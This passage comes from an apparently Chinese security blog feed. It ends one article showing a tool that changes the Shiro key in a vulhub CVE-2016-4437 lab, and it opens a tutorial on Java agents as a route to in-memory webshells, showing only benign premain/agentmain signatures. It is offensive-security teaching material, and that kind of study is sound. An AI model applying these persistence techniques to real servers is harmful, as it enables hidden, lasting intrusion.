Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这里使用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">vulhub/CVE-2016-4437</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，演示一下效果：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入前，使用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">shiro_tool.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">检验：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="81" data-backw="315" data-ratio="0.2585034013605442" title="null" data-type="png" data-w="882" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=dde7d1a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgMlmgWpAuaOOet44s3eD2HticTs0NAOyhmRXofibpqpPmnUf9ibe0YWKmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">shiroKey.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="58" data-backw="315" data-ratio="0.18354430379746836" title="null" data-type="png" data-w="1264" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=02f078d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgeyRGibw8PTX3ctQMVz9rm2K4gsT4MokWWlmLnmnoldnvPPccgVXWXTw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入后，使用</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">shiro_tool.jar</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">检验：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-backh="80" data-backw="315" data-ratio="0.2554585152838428" title="null" data-type="png" data-w="916" style="box-sizing: border-box;margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=614a1fc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgAAe2VMgjJSlkvZU8PPz4Z76IWAO8OOiaug5K00wMH98icA4SIRpA4bHA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可以看到shiro的key被成功更改。</span></p></section></section></section></section><section data-tools="135编辑器" data-id="92418" data-color="#feecaf"><section style="border-width: 0px;border-style: initial;border-color: currentcolor;box-sizing: border-box;" data-color="#feecaf"><p><br/></p><section style="box-sizing:border-box;width: 100%;" data-width="100%"><section style="margin-right: auto;margin-left: auto;text-align: left;transform: translateZ(10px);"><section style="box-sizing: border-box;padding-right: 6px;padding-left: 6px;width: auto;display: inline-block;background-color: rgb(254, 254, 254);"><section style="display: flex;"><section style="padding-right: 15px;padding-left: 15px;border-radius: 8px;height: 35px;color: rgb(172, 133, 2);line-height: 35px;font-size: 18px;background-color: rgb(254, 236, 175);transform: translateZ(10px);"><p><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><strong>参考资料</strong></span></p></section><section style="box-sizing: border-box;background-position: center center;margin-top: -14px;margin-left: 3px;width: 20px;height: 25px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/e9yMd8aXlddqF1MKBSuEjUmG7IINppAgy8EZa2TVQUvP35pyibVqg1PVSY1zfLicRoicLm8JhkCMCRqSw1wToiam3g/640?wx_fmt=png&#34;);background-repeat: no-repeat;background-size: 100% 100%;background-color: rgb(254, 236, 175);color: rgb(172, 133, 2);"><br/></section></section></section></section><section style="padding: 15px;border-width: 1px;border-style: solid;border-color: rgb(254, 236, 175);margin-top: -18px;text-align: left;box-sizing: border-box;"><section style="box-sizing:border-box;margin: 7px auto;width: auto;display: inline-block;"><p><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">[Javaassist简介](<a href="https://www.jianshu.com/p/334a148b420a)" target="_blank">https://www.jianshu.com/p/334a148b420a)</a></span></p><p><br/></p><p><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">[Javassist 使用指南（一）](</span></p><a href="https://www.jianshu.com/p/43424242846b)" target="_blank">https://www.jianshu.com/p/43424242846b)</a><p><br/></p><p><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">[利用 intercetor 注入 spring 内存 webshell]</span></p><p><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">(<a href="https://landgrey.me/blog/19/)" target="_blank">https://landgrey.me/blog/19/)</a></span></p><p><br/></p><p><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">[学Springboot必须要懂的内嵌式Tomcat启动与请求处理](<a href="https://www.jianshu.com/p/7dbaac902074)" target="_blank">https://www.jianshu.com/p/7dbaac902074)</a></span></p></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section></section><p><br/></p>



<p><a href="2247484158">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d106c4db&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484158%26idx%3D1%26sn%3D280bdcdf8172f29f77e9159c730be1a2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Apr 2021 17:54:00 +0800</pubDate>
    </item>
    <item>
      <title>护网专题第一篇-Java内存马（上）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484071&amp;idx=1&amp;sn=eb5dad6fdb758a41311e3ac8998433a2</link>
      <description>Java Agent 从入门到内存马（上）</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-03-26 18:40</span> <span style="display: inline-block;"></span>
</p>

<p>Java Agent 从入门到内存马（上）</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c2bb7e01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvZu8F6S40tFMg9brV2KiaSsZXSZ1GGIDbUIUC6aLCuzN9bXOwL1y1JOQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com"><section data-tools="135编辑器" data-id="102980" data-color="#ff8124"><section style="margin:10px auto 15px auto;"><section style="display:flex;justify-content:center;align-items: center;"><section style="box-sizing:border-box;width:40x;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:30px;"><img data-ratio="1.7450980392156863" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="51" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7c613501&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QvicHKHqAzjFeyoMjwzWTcwiaFcEkUL9qRhibIKdSxtw22HVxialfFsegEsQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);display: inline-block;padding: 3px;margin-left: -34px;box-sizing: border-box;margin-bottom: -20px;border-radius: 25px;"><section data-brushtype="text" style="padding: 4px 1.5em 4px 2.5em;letter-spacing: 2px;font-size: 16px;background-color: rgb(255, 129, 36);color: rgb(255, 255, 255);font-weight: bold;border-radius: 20px;box-sizing: border-box;" hm_fix="375:587"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;">J</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;">ava Agent 从入门到内存马（上）</span></section></section></section></section></section><section data-role="paragraph" data-color="#ff8124"><p><br/></p><p><br/></p></section><section data-tools="135编辑器" data-id="97528" data-color="#ff8124"><section style="margin:10px auto;text-align: center;"><section style="display:inline-block;"><section style="display: flex;justify-content: space-between;align-items: center;padding-right: 10px;padding-left: 10px;box-sizing: border-box;"><section style="display:flex;justify-content: center;align-items: center;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(255, 237, 36);margin-top: 6px;color: rgb(36, 33, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(200, 255, 36);margin-top: 20px;margin-left: 4px;color: rgb(27, 36, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(127, 255, 36);margin-left: 4px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section><section style="display:flex;justify-content: center;align-items: center;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(255, 237, 36);margin-top: 6px;color: rgb(36, 33, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(200, 255, 36);margin-top: 20px;margin-left: 4px;color: rgb(27, 36, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 5px;height: 25px;border-radius: 20px;background-color: rgb(127, 255, 36);margin-left: 4px;color: rgb(255, 255, 255);overflow: hidden;"><br/></section></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);background-color: rgb(254, 254, 254);padding: 6px 2.5em;box-sizing: border-box;margin-top: -18px;"><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;"><span style="color: #FF8124;"><strong><span style="font-size: 24px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">入门</span></strong></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(255, 129, 36);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(255, 255, 255);overflow: hidden;" data-width="80%"><br/></section></section></section></section><section data-role="paragraph" data-color="#ff8124"><p><br/></p></section><section data-tools="135编辑器" data-id="101364" data-color="#ff8124"><section style="margin: 10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width: 45px;"><img data-ratio="0.8245614035087719" style="box-sizing:border-box;width: 100%;display: block;" data-type="gif" data-w="57" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7d782c03&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1QviaFbZPXjUiaia7tNjciaJnwpqbKmGnhZTD4HUexj8OdZM52oPYuEn0seEQ%2F640%3Fwx_fmt%3Dgif"/></section></section><section style="background: #ff8124;padding: 4px;border-radius: 10px;margin-top: -20px;color: #ffffff;"><section data-autoskip="1" style="text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: #ff8124;background: #ffffff;padding: 2em 1em 1em;border-radius: 10px;"><section data-tools="135编辑器" data-id="101761" data-color="#ff8124"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;flex-direction: column;"><section style="box-sizing:border-box;width:40px;"><img data-ratio="1.3" style="box-sizing:border-box;width:100%;display:block;" data-type="png" data-w="60" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=4fcd077e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcqE8ibph3QYIufb8QZaR1Qvk2fI2GOo7NNjbXeyuvekAMmH5sS42mBASXuicVz4kPCsicIxntZ0oEIw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;display:flex;justify-content: center;align-items: center;margin-top: -20px;"><section style="display: inline-block;background: #ff8124;border-radius: 8px;color: #ffffff;padding: 4px;"><section style="border-width: 1px;border-style: solid;border-color: rgb(255, 129, 36);box-sizing: border-box;border-radius: 8px;"><section data-brushtype="text" style="font-size: 16px;padding: 6px 1em;letter-spacing: 2px;box-sizing: border-box;" hm_fix="306:540"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>介绍</strong></span></section></section></section></section></section></section></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="color: red;box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="color: red;box-sizing: border-box;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注意：这里只是简短的介绍一下，想要详细了解，请看参考资料。</span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在JDK1.5以后，javaagent是一种能够在不影响正常编译的情况下，修改字节码。</span></p><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">java作为一种强类型的语言，不通过编译就不能够进行jar包的生成。而有了javaagent技术，就可以在字节码这个层面对类和方法进行修改。同时，也可以把javaagent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。</span></p></blockquote><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Java agent的使用方式有两种：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;list-style: circle;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">•实现<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">premain</code>方法，在JVM启动前加载。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">•实现<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">agentmain</code>方法，在JVM启动后加载。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">premain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">和</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">agentmain</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">函数声明如下，拥有</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Instrumentation inst</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">参数的方法<strong style="box-sizing: border-box;color: rgb(255, 53, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">优先级更高</strong>：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span>(<span class="code-snippet__params">String agentArgs, Instrumentation inst</span>)</span> {</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span>(<span class="code-snippet__params">String agentArgs</span>)</span> {</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">premain</span>(<span class="code-snippet__params">String agentArgs, Instrumentation inst</span>)</span> {</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">premain</span>(<span class="code-snippet__params">String agentArgs</span>)</span> {</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, 